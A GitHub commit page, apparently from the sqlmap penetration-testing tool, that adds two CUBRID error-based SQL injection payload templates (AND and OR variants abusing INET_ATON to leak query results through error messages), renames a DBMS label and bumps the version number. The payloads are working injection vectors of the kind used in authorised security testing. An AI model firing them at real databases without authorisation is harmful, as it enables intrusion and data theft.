Skip to content

Commit c75df91

Browse files
committed
Adding CUBRID error-based payloads
1 parent a1ed35c commit c75df91

3 files changed

Lines changed: 41 additions & 2 deletions

File tree

data/xml/errors.xml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -233,7 +233,7 @@
233233
<error regexp="cubrid\.jdbc\.driver"/>
234234
</dbms>
235235

236-
<dbms value="Cache">
236+
<dbms value="InterSystems Cache">
237237
<error regexp="encountered after end of query"/>
238238
<error regexp="A comparison operator is required here"/>
239239
</dbms>

data/xml/payloads/error_based.xml

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -919,6 +919,45 @@
919919
</details>
920920
</test>
921921

922+
<test>
923+
<title>CUBRID AND error-based - WHERE or HAVING clause</title>
924+
<stype>2</stype>
925+
<level>5</level>
926+
<risk>1</risk>
927+
<clause>1</clause>
928+
<where>1</where>
929+
<!-- INET_ATON echoes its evaluated arg on a bad address; error-confirms only on CUBRID (MySQL returns NULL, others lack it) -->
930+
<vector>AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
931+
<request>
932+
<payload>AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]')</payload>
933+
</request>
934+
<response>
935+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
936+
</response>
937+
<details>
938+
<dbms>Cubrid</dbms>
939+
</details>
940+
</test>
941+
942+
<test>
943+
<title>CUBRID OR error-based - WHERE or HAVING clause</title>
944+
<stype>2</stype>
945+
<level>5</level>
946+
<risk>3</risk>
947+
<clause>1</clause>
948+
<where>2</where>
949+
<vector>OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
950+
<request>
951+
<payload>OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]')</payload>
952+
</request>
953+
<response>
954+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
955+
</response>
956+
<details>
957+
<dbms>Cubrid</dbms>
958+
</details>
959+
</test>
960+
922961
<test>
923962
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
924963
<stype>2</stype>

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty import six
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.10.7.196"
23+
VERSION = "1.10.7.197"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

0 commit comments

Comments
 (0)